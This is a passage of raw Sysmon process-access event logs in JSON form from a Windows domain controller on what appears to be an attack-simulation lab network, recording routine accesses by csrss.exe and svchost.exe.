AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 